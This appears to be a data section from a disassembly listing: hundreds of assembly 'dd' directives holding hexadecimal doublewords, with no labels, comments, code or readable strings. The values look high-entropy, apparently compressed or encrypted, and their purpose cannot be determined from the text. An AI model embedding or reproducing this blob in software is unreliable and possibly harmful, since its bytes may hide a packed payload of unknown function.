		dd 4142A600h, 0C1EC7060h, 0BCC6369Eh, 10465860h, 0E1752702h
		dd 0C3113BDh, 751EF710h, 0D0B81D1Dh, 0F77EDC9Ch, 21495230h
		dd 79D6FC63h, 1C8200D2h, 0D9E10854h, 760DE35Ah,	293F5302h
		dd 17B10D4h, 66C1DB01h,	0D427CC58h, 0E0508EBEh,	48C054Ch
		dd 0BDEC7524h, 3FF4382Bh, 0E781751Bh, 426FAE6Bh, 36DBE04Dh
		dd 23438809h, 0BC080047h, 0E47477h, 0B8FBA244h,	83B0AFB5h
		dd 4F827500h, 0AD2A45F0h, 4CDB00A8h, 0A4FFDE7Ah, 0C6073C94h
		dd 0AABAEEF7h, 0F00A067h, 7A5919F3h, 0A50300A6h, 6616A1A8h
		dd 0F400652Fh, 604980C7h, 76A31ECh, 0C8BD1A9Ah,	1FB40089h
		dd 2824E0A4h, 0EB005AA2h, 9229BC50h, 7F60046h, 0C9047DB8h
		dd 3900BE2Dh, 3B238FAh,	0E4139EFDh, 0F3F27Ch, 0FC0E5375h
		dd 8A3315F5h, 582BB300h, 86B7BBD7h, 0D5B103CEh,	0AA819CDEh
		dd 0EEC6301Eh, 0E9D0EF00h, 676CC9h, 16FD8D2Ah, 5989B3E4h
		dd 0F2FC9E0Fh, 262EC0F4h, 0EE39AA76h, 7C40C075h, 6EC3C151h
		dd 0E7137F07h, 0CB4018ADh, 37A9D74h, 9FAC4E8Ah,	3119CC65h
		dd 2798B9Ch, 75808C4Bh,	61595F9Dh, 27991601h, 0E204804Dh
		dd 3F2C6080h, 0A9BA2378h, 597A8130h, 1885C317h,	901913C1h
		dd 660C0703h, 0C8AADD31h, 0FEFF0EFAh, 0DDDDF521h, 8F0F030Eh
		dd 0AAA0778Ah, 49C18481h, 0D50C02FBh, 7D45B983h, 0CCD0A4E7h
		dd 0A501B690h, 816BC8DBh, 588098C5h, 6AF98E9Ch,	0F72C4677h
		dd 440057CCh, 0D4738599h, 32A0001Fh, 0CB1B3039h, 2E1DF358h
		dd 1400BB2Bh, 0DA219723h, 0EF380104h, 3F302FF8h, 8069D1F9h
		dd 0DA196521h, 78FD27A4h, 0A0430062h, 0D03D4AA2h, 3700CB12h
		dd 88C2AC50h, 1D2342FBh, 1A9B2Eh, 4F4F3B7h, 9C0321FAh
		dd 93FF83A7h, 0ED44FF6Fh, 0C05C5D44h, 6B598AC3h, 62A88600h
		dd 8C1DF594h, 4300324h,	31AFBEFDh, 70863005h, 100496F6h
		dd 0A9180294h, 157025B7h, 11FEDF35h, 52F0AD80h,	19CFE884h
		dd 8597CBAh, 3E2180D4h,	2F7DF06Ah, 0A4992E56h, 0FE7300EEh
		dd 0B31C4ED8h, 0ED87F30Ch, 50B47085h, 1732C25h,	59B603E5h
		dd 60891C6Ch, 80F1CD55h, 4411DD88h, 3EF53A15h, 2F815D91h
		dd 5906D593h, 68A1F0F3h, 530348h, 0FAC2B321h, 5D781Eh
		dd 79524C64h, 8996D530h, 5404BEF8h, 35D373F0h, 0F45826C0h
		dd 3FDD01C1h, 56F78E5Dh, 633DE07Eh, 0C0007FF2h,	0D6451185h
		dd 0DC8A83h, 62957624h,	0BABCB14Ch, 6E6B4000h, 9653A3AAh
		dd 0A760003Bh, 3AAF325Ch, 5006234h, 0F630C439h,	709C6887h
		dd 0DA9B3CD2h, 72B4B0Fh, 1540CF60h, 0D5001CF8h,	0C2284A37h
		dd 90DA03h, 7041BDBh, 0D8DDAF26h, 0B7EA0C03h, 0B87ABE24h
		dd 1CD3C2CCh, 8DC61385h, 0B10CD48h, 8F9FE004h, 0E210C0C5h
		dd 46BAF679h, 70DD2207h, 0E06FE86Fh, 0D3F36BF5h, 0D9160041h
		dd 0D6DF2BF4h, 4F00359Bh, 9085273Dh, 7E6CE26h, 84DD31Dh
		dd 0B6DF1055h, 9F00C21Ch, 0C5FBD6B3h, 0C15DEAh,	9BF38669h
		dd 51D1CD30h, 0FC72400h, 0CB9CB175h, 40351DF7h,	0F9BA40E4h
		dd 88B85192h, 4AE113Bh,	1C9E8D14h, 0A7500E80h, 0F673CBh
		dd 0E74834D4h, 0EAB9BBFh, 0E61EEF0Fh, 6BBC4E3Ch, 7890072Ah
		dd 0C6998A80h, 9D890012h, 9EA25DCCh, 500096D8h,	65F06EF1h
		dd 0D20D57h, 0C4419712h, 0BB2D1921h, 0BF157B0Fh, 0A7A8C059h
		dd 399309h, 5AE0742Fh, 0F2F090DFh, 7CC2403h, 0F82BE3B0h
		dd 325301h, 0D0BD56ACh,	0EB3E9625h, 0D8C0FBEEh,	0DDC4777Dh
		dd 0CFC03AB8h, 3053AEh,	7A50A68Fh, 0CCA81629h, 5E581395h
		dd 0FB4916A4h, 79CE80EBh, 4750656Ah, 4100AB98h,	5601BB3Eh
		dd 25C6419h, 8376309Ch,	90804FD6h, 0E0E43A90h, 8951A800h
		dd 6EE198EFh, 1CB66432h, 8E0490C5h, 0D603F824h,	0A914671Fh
		dd 36A80046h, 0AE53971Eh, 250043C3h, 4BB85D52h,	4823887Dh
		dd 0AC008A0Eh, 942633F0h, 8C39EF42h, 2DE68075h,	0F8385E45h
		dd 2B76009Ch, 131BF30h,	0B70F27F1h, 60A353EEh, 33F5A8B6h
		dd 26910313h, 11A975F7h, 0B587D800h, 363F4668h,	3BAF0F2h
		dd 1CA7CE4Ah, 2BC0E134h, 72008F69h, 0CF23EE73h,	0C355EBh
		dd 34DCD141h, 177A4FC0h, 0E0CBB530h, 767EAF3h, 3509AF8Bh
		dd 40D4AAh, 1BD886CCh, 187EFE93h, 18475BC3h, 1003EADh
		dd 4A0C1232h, 0FAA8D1h,	0B7C3EAAAh, 9DB370B4h, 16BEE501h
		dd 3C627EC9h, 0D73020h,	0FF2A1E79h, 0E412A297h,	0B8671C0Bh
		dd 1AE700FCh, 0E0285FDDh, 0F1DB0734h, 0A0D314E0h, 15EB646Bh
		dd 6083AB0Ch, 2882B4FAh, 5CC9275h, 0FD4EEEE4h, 9F8C40C1h
		dd 3F19B708h, 0B65A370Eh, 811FC0C7h, 0E8A82956h, 990006Ah
		dd 7C710B38h, 0B200A041h, 92C5A42Ch, 90150F5Dh,	721C0028h
		dd 901E340Bh, 37544F2Ah, 68F0A888h, 3A836C00h, 9D284ECAh
		dd 5ECDE4B4h, 242DECA2h, 41E1C3Bh, 1B7A1F62h, 51E940FDh
		dd 0AF9EFEA0h, 51316C30h, 1F7D5Eh, 0A3636DEBh, 0CEFFDA47h
		dd 0C7A12200h, 51B2FAA0h, 84FA76h, 291A77Dh, 8C47C925h
		dd 0D00F8500h, 73180DA9h, 4E1A0042h, 0DB67C8A2h, 61003843h
		dd 87CF7C13h, 0A164C4h,	7D6937ECh, 15B665B3h, 0E13E3400h
		dd 0AFD3800Ch, 0A9F90085h
		dd 1B396678h, 28008773h, 7A62C218h, 0BB98994h, 6BD4B160h
		dd 46E16280h, 8600A139h, 7EA58E04h, 0E01F5F57h,	525C0018h
		dd 22B24429h, 0B283E78h, 38578491h, 17AE00D4h, 0FA76F9C0h
		dd 0B2270033h, 1A1DD564h, 5748C418h, 49EE019Ch,	2F7CBF38h
		dd 0D3E3E0h, 4FB12803h,	799FD9B2h, 46FB7200h, 0DE3FCEB0h
		dd 0AC8F0063h, 0A507FF15h, 0CDFA37B8h, 42EB50Eh, 0A0972E73h
		dd 704D1B96h, 93640084h, 0E00CCD36h, 0BD00CA99h, 2D0F95BBh
		dd 0E143Eh, 968C1353h, 34D3EEDBh, 3046BF00h, 4272C69Ah
		dd 69C70579h, 904BAF99h, 2E802614h, 84F3CA00h, 0A2F4095Ch
		dd 11B900BCh, 0BDE122A8h, 0F7033174h, 3E5D2469h, 6AC7E4E2h
		dd 0AE71E80h, 3FFCF238h, 2FCCAB13h, 0A74CB600h,	5CA26C4Bh
		dd 0CACD8601h, 0B389F822h, 9E03D0h, 785E7FD0h, 0E442C5ADh
		dd 3CA04B00h, 794959E8h, 0F5BCF4FEh, 0BCD3420h,	71AEC69Dh
		dd 0D7529820h, 0C4055D14h, 0A2BA3CA4h, 72759100h, 9068E29Eh
		dd 8E950014h, 0F26DE4BCh, 0BA07E8F7h, 19C09A07h, 0E5B6170h
		dd 0B7ECD1h, 0D23732AEh, 0E6D86D46h, 43C1EE09h,	8B4C2022h
		dd 1DC32A1Dh, 0C1AD97F6h, 9F247BBFh, 0B484E05Fh, 2C8C48h
		dd 28925506h, 14FAB52h,	61881BC0h, 0F41964FDh, 300ECF1Ah
		dd 0A0B3859Eh, 7E5D6F5Eh, 589AE8D3h, 48009D9Dh,	0FA9B9E75h
		dd 778EC93h, 0FB70B876h, 2F004C7Bh, 538DC3E1h, 0CE46963h
		dd 6CEFD54Ah, 27005CD8h, 0CC741888h, 3DB763CAh,	878039D7h
		dd 3B0E10A2h, 2500AB8Dh, 1246A7BFh, 716561F6h, 571C0F0Fh
		dd 81C0FA28h, 3D849F9h,	0BBE1F800h, 87F7892Eh, 42FF02BCh
		dd 6C93E4B1h, 7BC2C840h, 0B2801900h, 0D0AD77CDh, 0D3E9009Ch
		dd 2E9031A2h, 40009517h, 84FC5A16h, 0FE4A85EAh,	3AF01Bh
		dd 1D5BDDCEh, 8B950E7Ch, 13E8B600h, 4C207EF5h, 0A4C9DC5Dh
		dd 1A330F4Ch, 0A71FBC40h, 0F61E131Eh, 0C0F09F2Fh, 38F1AA6Bh
		dd 0CA00CB66h, 0A2237C06h, 7200C878h, 571D4BE2h, 0F9EA9F3h
		dd 0FEC7DF19h, 22DDF1C0h, 710F47C4h, 0C9796C23h, 7C7C23CAh
		dd 3FE9F08Fh, 7056001Fh, 20BAFC1Bh, 0F30EA7A3h,	0E0C4D882h
		dd 9B2F2AE2h, 0CCA00343h, 0F113AFD1h, 907E1588h, 0DF7C6E00h
		dd 47AE14B8h, 0A4D005Dh, 0EBC02360h, 0C4BAD7C5h, 0BC95503Ch
		dd 78E40744h, 3F43B749h, 77A7A7C6h, 5C87181h, 11991FE3h
		dd 80C42679h, 0EFA6AFC9h, 0A75687C0h, 14BE2A2Ch, 2860F483h
		dd 9A6A2430h, 40D1041Ch, 0FE58B90Eh, 18979D83h,	80E73F6Ch
		dd 2018D706h, 0E78A295h, 21B700BEh, 0D4CCCA86h,	520D58A0h
		dd 20C3C009h, 14B6F6E8h, 400645EFh, 1F717A24h, 80BAB9AAh
		dd 0A7180CC8h, 6C07881h, 0C300A8F8h, 0F31ED716h, 5B052C1h
		dd 0E392175Ch, 0A19AC0E1h, 0B10053D3h, 4922A272h, 3BBF920h
		dd 58A37810h, 0C9A0B07Fh, 1400DE37h, 974FCD74h,	19EBC7h
		dd 3F7D2A94h, 46429964h, 4C2C2D00h, 30DAD636h, 7FEC392Bh
		dd 93A77609h, 5893944Fh, 4680291Fh, 0D4B98E3Ch,	0FD19001Dh
		dd 0C38B0EB8h, 0EDE24006h, 0DEA56914h, 0BE140788h, 0B312062h
		dd 0C450BDFAh, 0F4C45Ah, 32498971h, 0D8A6B70Dh,	3FCCC33Bh
		dd 6C50867Fh, 24209A25h, 1407B6CDh, 0E0F1206Fh,	0CF91811h
		dd 0CFEA759Dh, 0EF1FB3B9h, 0E14158FFh, 8952C6A0h, 21E90898h
		dd 0FF007712h, 0A8FA4DCAh, 0B987DFh, 397D1129h,	0BC5EA905h
		dd 0D4B8A11Fh, 0E3311986h, 934801F0h, 7B53CD13h, 0E8BC349Dh
		dd 0EC076B00h, 0D7A657C0h, 87F65C7h, 89A44332h,	0FBD00763h
		dd 6518F72Ch, 0A158CC90h, 5841060Bh, 0D8A2511Ch, 20030374h
		dd 8A10BCF4h, 3947A148h, 0FF536980h, 98663F1Dh,	24C440FDh
		dd 0BF636D08h, 885B52D1h, 51A55Fh, 3EA174BCh, 0C057BBCCh
		dd 0BF070894h, 0C93C3D30h, 0CD1E110Ch, 7648052h, 8C7FC02Bh
		dd 12884B44h, 8C077Ch, 944BA3Eh, 481EF3EBh, 1824D4DDh
		dd 389883B9h, 0A068B11Fh, 5445FFDEh, 758AA4FCh,	0E329C0ADh
		dd 0F1812D7Ch, 0C716E600h, 0FA19745Eh, 5BF400E0h, 0D683D289h
		dd 0D30C680Ch, 398FD473h, 6EE00A2h, 0E9FF4979h,	173A12C0h
		dd 219731E4h, 49202685h, 95391237h, 4DD04289h, 0D140F055h
		dd 93FE463Eh, 899991C2h, 0EA344012h, 13A4A8E0h,	64650EA7h
		dd 212F37E1h, 74382DC0h, 0D90AC536h, 64BA967Fh,	0ED5E3A80h
		dd 516557h, 7609FB26h, 0F516F9DFh, 83398100h, 44CAE35Eh
		dd 7477DF6h, 0BBFD14C3h, 7B716C49h, 0C0B04254h,	0F8AD9C00h
		dd 0DC4C04AFh, 6E60A0C6h, 3926300Dh, 2115F240h,	300AFB00h
		dd 0AB58607Ch, 490200BBh, 0C134460Bh, 114C64EEh, 0D21F77A8h
		dd 13C086EDh, 0ABCCFB93h, 0A3B47346h, 4531C880h, 0D966126Eh
		dd 7AA008C3h, 4BFF8AC0h, 0A119215Ah, 1520E591h,	0F2B88D00h
		dd 3EF3E44Ch, 3789861h,	21922DF8h, 0C101BF95h, 0E39058ADh
		dd 0EC30560Dh, 8866446h, 87F8A0BAh, 2290600Eh, 0C856C3F0h
		dd 52A00D67h, 0DE104ABDh, 6111580Ah, 2A077D80h,	608C47C0h
		dd 758721AFh, 23028E07h, 190E316h, 20C498CBh, 754012C0h
		dd 5B8800B9h, 569080CCh, 45965816h, 0A5AB4000h,	3822C766h
		dd 5389CB08h, 0D4007231h, 0AC77D846h, 5EA3A901h, 0CDEFF8C4h
		dd 52922FF0h, 59027C22h, 7E0DF090h, 7017BE31h, 0B3139061h
		dd 0A1F0A42Eh, 0B0DDE90Ah, 1DC45C80h, 0E0C86Dh,	14D642A0h
		dd 0BEF64F79h, 0AF211018h, 38A3ACB8h, 0AE930D8Dh, 0EDC000B0h
		dd 0C7C530C0h, 563E20C0h, 0A9AD2F29h, 7E1860A0h, 0C021077Fh
		dd 7686C06Fh, 0E5004007h, 0C5B414A5h, 0A0A43F29h, 80E6519Ch
		dd 0B5FC46A8h, 0AD60B960h, 50B1CC68h, 4CF61039h, 57021C19h
		dd 9FC0C494h, 90C6A085h, 0E644F430h, 32C84C51h,	9B7A1838h
		dd 830B81h, 95604D61h, 706907D1h, 0D8F81C1Dh, 0E21E1586h
		dd 0C4580DF0h, 0E058BC3Ch, 70A13066h, 0E5A1D8B5h, 8E1088C1h
		dd 242195D4h, 881FAC24h, 6C4CA752h, 8270273h, 87AEA675h
		dd 1278AC2Ch, 0A5940C0Eh, 2E487D19h, 8CB9BC70h,	2BBE3661h
		dd 0EA811F58h, 56497B55h, 6903280h, 0D30E750Dh,	42889868h
		dd 56BB0B41h, 0A138A1DFh, 0A843E103h, 7B099460h, 60769484h
		dd 0FC7E0629h, 94448C27h, 6210350h, 1E608A5Fh, 0C12AF810h
		dd 409C7B2Eh, 3A059C11h, 52DCB300h, 0EC2A8B23h,	38A54C4Bh
		dd 7DF25807h, 0CA0495Ah, 9B11CFF5h, 32C460F9h, 0C49C7A2Ah
		dd 2ABD5500h, 843395F9h, 9E83A0EFh, 840690E2h, 0DB9C02A0h
		dd 0ED31DC53h, 220240C4h, 0E5FCB91Fh, 0E4AC452Eh, 605062BBh
		dd 14F49B7h, 0B1B00475h, 20B31519h, 0D549EA08h,	30A3838h
		dd 1C92A0DAh, 0AC2FC841h, 0A34907B3h, 0A261FCAAh, 8620E13h
		dd 0EB91A060h, 265E3E80h, 0AC4C9C0Ch, 0B0215E08h, 0E8AB80CCh
		dd 78B1E1BAh, 5EB36C0Ah, 2280BC49h, 9A1A210Ch, 0D8C85431h
		dd 9958A0E9h, 7A9C09D9h, 4C4028FAh, 0A94D01D7h,	0CD693B08h
		dd 7ABC94h, 2F5D9C41h, 0B35F54A4h, 24213D2Ch, 0EED33980h
		dd 5975CBE3h, 5804443Ah, 0D0944CB4h, 1D513488h,	0B1BB70h
		dd 83842411h, 2E708290h, 10B1D8B1h, 6904B74h, 0A63D3571h
		dd 0BA08604Dh, 696BD1Bh, 7939ED08h, 0E5D1F4B1h,	9039718h
		dd 85112A84h, 4CC7C85Bh, 991E07F1h, 0C2578A3Eh,	88A30594h
		dd 0B93A879Fh, 0CBC98017h, 31BD718Bh, 0C26C0376h, 0B3A64B09h
		dd 86626007h, 40D0191Dh, 0CC3B49Bh, 90EDC4DCh, 4630BC40h
		dd 1DCF89D2h, 0DCA905CBh
		dd 0C003FB71h, 0F7692E9Ah, 84AFA02Ah, 0E128EE07h, 27907F5Eh
		dd 648FD2h, 0F29C3CDFh,	50CBEBA2h, 0B0A0AD18h, 43B731h
		dd 8AC89144h, 0D9F237D4h, 82DA6800h, 9FC5609Bh,	67ECD2h
		dd 2ED3C16h, 19F2C64Bh,	0A4926628h, 0EE027646h,	795A57FFh
		dd 7611011Ch, 53BCEAFFh, 4844DEB3h, 3D545816h, 45088C40h
		dd 15C6568Fh, 0A821DCBAh, 7B0E4800h, 0C434A1DFh, 8180E496h
		dd 9A26487h, 0D24014BEh, 6303A03Fh, 91CCC45Ah, 80D55024h
		dd 0B13AA740h, 4CF30098h, 0DBE3B0CAh, 0DA714622h, 317F5A04h
		dd 0A0904D7Bh, 3C77BADDh, 0E28073F6h, 918A8E75h, 5C0255CBh
		dd 22DE3702h, 0CC60403Ch, 0C87F819Bh, 2F493514h, 1FFEB85Ch
		dd 1656C979h, 0EE8401B2h, 23BAFB3Fh, 30B0A2C4h,	7A01B762h
		dd 1A466889h, 0EC20D105h, 0C2490965h, 1C00048Ah, 13FD535Fh
		dd 30A4CD75h, 2807770Eh, 0E08B92C0h, 6FDD16h, 0CCFE3DF8h
		dd 0C30F1154h, 5DB83AFFh, 40F2998Eh, 2B4913FBh,	9DF40069h
		dd 8A53F82Ah, 4B554507h, 88C04EECh, 2E05C0E4h, 0A90A5903h
		dd 94880C8Eh, 0BE4ABF03h, 0E3F992F5h, 9017F854h, 0E1C713DBh
		dd 5C440AD3h, 3D9685CCh, 2B8C90E6h, 0A126091Ch,	0ACBD78D8h
		dd 2AC27C77h, 1F978506h, 10007C99h, 62251h, 9B7CF9FBh
		dd 0B020A5B9h, 55B39809h, 8E00919Ah, 0FC434510h, 5B744F00h
		dd 0EEE0B08h, 28D0062h,	63591501h, 0A030234Ch, 0E6F231BBh
		dd 66050089h, 254AF175h, 0E0FC2EC6h, 0B7CE0E02h, 0C2D9B04Bh
		dd 0C18D0D44h, 9AB87028h, 8EA6028Ch, 8B8A3132h,	5ADCA080h
		dd 0FF006444h, 0A14951D3h, 5CE9F989h, 41733094h, 297888A6h
		dd 586506E7h, 0F400EEF6h, 18D8CDC8h, 99EADABEh,	3E7A0958h
		dd 0A731C20h, 5A005159h, 0D045CFE0h, 3D93BF57h,	9960409Ah
		dd 0BC9C668Fh, 5D69B962h, 787084DEh, 64062B60h,	0D0D84968h
		dd 238258h, 321ECB06h, 4B95D298h, 0AB5C8778h, 0B8BB2CEDh
		dd 34797CA9h, 0C01C8D18h, 2FE7F908h, 0E13802E4h, 221052DBh
		dd 5A276E5Ch, 0EA48B9C9h, 0C5933F00h, 4801685Ah, 3452450Eh
		dd 785E4C60h, 0CFB01DCCh, 27897C49h, 8CEC3FE5h,	200FA441h
		dd 96036711h, 0C0267C08h, 0D8C904Dh, 0E0485E4Ch, 490554Ah
		dd 62EC2B4Eh, 0F2C4B2F2h, 6F7530A4h, 0B5C4C002h, 79AEA530h
		dd 5C68A47Ch, 80CD4C21h, 1A251EDh, 0A73FFE0Bh, 0AA10AFBh
		dd 0BB86F8BEh, 7E31475Dh, 0AC652DC7h, 8193C404h, 618DF2F4h
		dd 0EBA0F30Ch, 5E1C4AC1h, 9D65B870h, 0CD390868h, 8B1A9960h
		dd 0C4931CDAh, 2CF028E8h, 88D8BFF5h, 5A83D511h,	7C8ECCCh
		dd 0AA44F420h, 546419DEh, 88BA7BF2h, 7A18DF64h,	0D53888h
		dd 0FE01D457h, 0F120C0FAh, 28B55000h, 0EEDBDAB1h, 968CE409h
		dd 0E4190994h, 74CD04A9h, 2E49CC60h, 88685284h,	92B09450h
		dd 0BB505C4h, 0EC9286DFh, 0A7FC005Fh, 510EAC11h, 4EDB0213h
		dd 0D4C234AAh, 1D9FE1E0h, 129F897h, 17F0484Dh, 0E44A112Dh
		dd 2500B085h, 0FB2608DBh, 3D02D65Ah, 0E69F8015h, 3EC94014h
		dd 6CA44A5Dh, 0F5AAC700h, 607276E7h, 97738Ch, 956ED7F0h
		dd 16D19637h, 9309B200h, 0C51B7A57h, 4D46008Eh,	19DE90F6h
		dd 0CE737B4Fh, 4A994700h, 1794531Dh, 2C72037Ah,	480C2F32h
		dd 0EED36BB0h, 0F1AADF00h, 0F7FB7C2Bh, 4E020067h, 85B105D1h
		dd 18C068D2h, 0F052DC84h, 742E7275h, 5BA5005Ah,	502A77D0h
		dd 6801F830h, 0B74944B1h, 1080FDA7h, 5E6B7E85h,	840AF4A2h
		dd 2872B16Ah, 0FDF6E480h, 61F2E76h, 42103894h, 9E3068CBh
		dd 55BC19E5h, 0C090E4Ch, 0F160E872h, 0D3BE7FDh,	35526D00h
		dd 98DFF95Eh, 6923306Ah, 6338E858h, 0EA654600h,	0B071F270h
		dd 0A290A0F5h, 84AB0045h, 0D19A4DECh, 0F23065E7h, 0A30C90F7h
		dd 1E9CE8C2h, 8A67F9h, 0ADEF53AFh, 0C1004ECDh, 0F434475Ch
		dd 0DE9E13h, 1D70685h, 0A82C59E2h, 0F0E7F800h, 12C6FF82h
		dd 0AF2D0011h, 10AE766Bh, 40043B0h, 7E1B48B9h, 45A14Fh
		dd 9AF20BCAh, 0E8A30DD9h, 32AD99A0h, 0AC8B8607h, 0A67084D0h
		dd 1780E4A0h, 0F8CF58Fh, 3D87BF0Ah, 2A93D0BBh, 0B700F277h
		dd 4FA24D9Bh, 0FC0924h,	0B127314Ch, 5F296EEEh, 57008CEAh
		dd 0B8DE3D86h, 7C67ECEDh, 0A1AB005Bh, 8969DC12h, 0DA0034BCh
		dd 986CFB7Bh, 25BE563h,	0F5A2D19Dh, 0C5C00CEDh,	681C4712h
		dd 80006C9Ch, 0AF69C326h, 0A15A0044h, 4DE6CBDBh, 5B002D8Ah
		dd 6B2467DAh, 541248h, 0F07B4C7Dh, 0FECE4028h, 69EA60BDh
		dd 0E10F00C8h, 0F205D204h, 124C9B5Ah, 528403F9h, 801F4D10h
		dd 0EC8C38h, 296B58AFh,	802E7BB8h, 9106881Eh, 0D7055740h
		dd 0C7C39Eh, 2D12D530h,	652553A8h, 0DD888A03h, 0F821B947h
		dd 0F03B0495h, 9F19C089h, 802F20C3h, 8426500h, 0F7C1C84Eh
		dd 7EE40002h, 0F6624069h, 1E004792h, 0D16703A7h, 0A96CBh
		dd 0CA20C27Fh, 1933E997h, 16EF5F00h, 0F7427456h, 3911DC5h
		dd 0E1DA40E5h, 0F652862h, 5C2C6100h, 0B94E10A1h, 47523942h
		dd 7F1BCB00h, 0CC1CB03Fh, 3CF78E00h, 5BE2676h, 81F4001Ah
		dd 0BBE1D00Ch, 2A00490Ah, 0DDF3C88Eh, 663392Ch,	8AE2665Ch
		dd 8903313Bh, 0F0CD73E1h, 8F1000B3h, 7295C434h,	851EE91Bh
		dd 8609BEEBh, 5F2C00AAh, 0A2FCD9h, 0FB8CF405h, 473DF998h
		dd 0EA919200h, 0A504DCE5h, 0FDD90015h, 17EE2924h, 32481BFh
		dd 80397D84h, 10DA092Fh, 70AFA76Fh, 40DC00A5h, 793393A0h
		dd 0CA0F69EAh, 0C03FF1F3h, 950587D0h, 0FB32CDBh, 0D5702743h
		dd 598D3B09h, 24D607EDh, 8C01A9E0h, 0F3860035h,	39686B5Dh
		dd 5002585h, 0F62D782h,	0F3604C8h, 0CBFF65ADh, 83781921h
		dd 9040CAB0h, 4000B28Ah, 0FE5964Dh, 0F326FE0h, 0A1EA1B27h
		dd 48727BE0h, 171EB771h, 807A0FA2h, 0F62B2AE8h,	4F4C82h
		dd 7631A6E6h, 0E43AE0C8h, 0B83C6400h, 38F9CF63h, 94C201F8h
		dd 0CA99DC6Ch, 9C944140h, 1F55CC45h, 6924FE00h,	0CD5958AEh
		dd 8CA20091h, 6BFC4B1Ah, 11EEE812h, 3F60FFEEh, 9D070938h
		dd 0D1740FEFh, 0C560505Eh, 5D2A12E0h, 5513BB00h, 5F632D5Ah
		dd 0DA5700C0h, 673C33Bh, 938111Ah, 0E46428A8h, 0E9AC320Eh
		dd 584A2C0Fh, 93D93A23h, 0A13FF401h, 0C04FE17Fh, 2B3D1B22h
		dd 0F8F18486h, 0B480F20Ah, 665079h, 2DA0BF0Ch, 8D5824FFh
		dd 1884600h, 0F67D3B3Ch, 7037005Ah, 14D80C5Dh, 2B00ADA9h
		dd 5813858Dh, 38FF92h, 16805154h, 0C48B22C0h, 0ED9B6C00h
		dd 0F7C9085Eh, 0DD350788h, 609C2CB3h, 8C4322BAh, 0C6928D00h
		dd 9FC3E471h, 84FA5067h, 0EAD2134Eh, 0A7B8005Eh, 0E0829460h
		dd 62495800h, 0D5A40CFFh, 0CA5D00C8h, 31543A5Ch, 100E0A1h
		dd 8FD074D1h, 0BAE12h, 0C2C6435Fh, 652740A5h, 22812913h
		dd 2034A04Fh, 0D1423CE6h, 1FB100FBh, 68DBB5B6h,	2870B0A8h
		dd 0BCFD960Eh, 0E0C08F2Bh, 61ED0C91h, 18DBECDCh, 485CA86Ah
		dd 7E003009h, 47F2B7D4h, 0CB3EC98h, 5386E6A6h, 0D7005020h
		dd 5CAD60EEh, 388488h, 447DF4C8h, 0A7CCD125h, 0E9B7CF00h
		dd 1D63B14Bh, 0ED291428h, 316F0D4h, 0B8DE0070h,	3662E896h
		dd 58E2F601h, 0AC6773Bh, 60F853CCh, 9668685Bh, 30E7E57Fh
		dd 83021B30h, 0E37DF7EEh, 0DA0E087h, 0C04C70CFh, 6E356021h
		dd 790F83D2h, 8F2A13DFh, 639AC38Bh, 353FBDDh, 33E43F80h
		dd 0F0F7BCBEh, 85B4FB09h, 0A99F591Dh, 78078213h, 0FEB01AADh
		dd 91A33Ah, 5C9397BAh
		dd 676C62AFh, 0B84C9E2Ah, 87141500h, 0ACA3754Bh, 0D4C1001Bh
		dd 0BFEDD502h, 0C80707A5h, 7728BBA0h, 0D00F5C20h, 23710E83h
		dd 4FE0E6A4h, 0BA94705h, 0D8D0C01h, 83E860FAh, 3EE906E4h
		dd 0B8BCEB26h, 0B184CD87h, 4BD40071h, 0FE3BA787h, 412E000Dh
		dd 0D9767736h, 0A25F3A0Ah, 9B8CEE3Bh, 0A9101A7Eh, 67E1EF5Bh
		dd 0D0FE0h, 62A76754h, 801E99F1h, 101CE074h, 948F7DAAh
		dd 8007F74h, 57B06529h,	1FFA000Ah, 71A4F212h, 1003D0F9h
		dd 2A1B53A7h, 0E1A8A04Eh, 16D6000Dh, 279F9B0Ah,	33010E43h
		dd 0DE2C6C59h, 9885E0E4h, 0D04C54EFh, 0B6D40B34h, 0C8364018h
		dd 7ED5E838h, 10585088h, 1C40F5DEh, 7B331E66h, 1B1900C3h
		dd 4F12AD74h, 7A054815h, 8FB5B25Dh, 300B5B81h, 8137C0h
		dd 0AB275158h, 59EA5C4Eh, 0CEFF6300h, 6899A3B2h, 7A3B004Dh
		dd 3EB67914h, 6E00A109h, 6BBFF90Ch, 8F7087h, 94F6059Dh
		dd 0AC1F439Fh, 27E65F00h, 59455C35h, 0C62500E5h, 1DE91CCCh
		dd 0BD003167h, 3FDF5FB8h, 0EBF64Bh, 33288650h, 4324AE7Bh
		dd 79FF938h, 3DDF987Dh,	28FFEF0h, 9477C3Ah, 0A584491Ch
		dd 0EA6D2501h, 8B7B70F7h, 0AC126A01h, 0F0EBE4C8h, 58B31834h
		dd 40000858h, 5CA930FEh, 0D900C1DEh, 0D231C353h, 0EE5E2160h
		dd 0FAF528DAh, 475F00A4h, 56E37524h, 0EE00056Fh, 0C81C4252h
		dd 1848C44Dh, 68747F14h, 0A220DDD4h, 850B0051h,	0DF2273CFh
		dd 20CE9786h, 0D660A0D2h, 353DE65h, 45553AFCh, 103C52DDh
		dd 0B3B68E15h, 5047B3F7h, 0C6401E4Ah, 3C16078h,	0BA097F01h
		dd 211C24F6h, 807C6718h, 0EEC51C43h, 94074FDh, 0F60FB7Fh
		dd 0C821C02Eh, 50F1EBE8h, 9B615580h, 4E2B8D00h,	19B9C760h
		dd 724A00FCh, 3EDBB03Dh, 87037042h, 0EB9AC254h,	0B749001Dh
		dd 3F3A38D5h, 9C00B216h, 0F0A80C6Bh, 0C4ABC6h, 87248673h
		dd 4C8BE802h, 75AAFD01h, 57FC9B11h, 800BC2D4h, 0AB004B09h
		dd 0ECBA66B5h, 2CB1E8Ah, 6593045Ah, 0CA405422h,	0B50D064h
		dd 2800C23Ch, 0F5FD90A8h, 40387Ch, 5DFA65C0h, 66FFCF3Bh
		dd 0C892D400h, 0EF8D2429h, 0FC1805E2h, 40561112h, 0A56EC5C4h
		dd 8CEC5F98h, 0ADAF401h, 1FF6BDCFh, 0A7D5A450h,	0F84700BCh
		dd 7F72D1Eh, 0E90078EBh, 0F06113FAh, 115409h, 694295D7h
		dd 2E7F726h, 4E58910Fh,	0DF69DA12h, 0A39B43C0h,	0E247442Ch
		dd 16051930h, 438507FEh, 0D07FFB6Ch, 79B6BAB9h,	0D4A45EEEh
		dd 0DD809B80h, 93677B1Fh, 739CE25Dh, 0B0751700h, 0DEA872h
		dd 59F255D2h, 0C829FCF4h, 508A49h, 3F78BC09h, 72B53CFh
		dd 0B9EBB34Dh, 65E16CF7h, 0A40F94B0h, 0E0E49FBFh, 0DC0799BAh
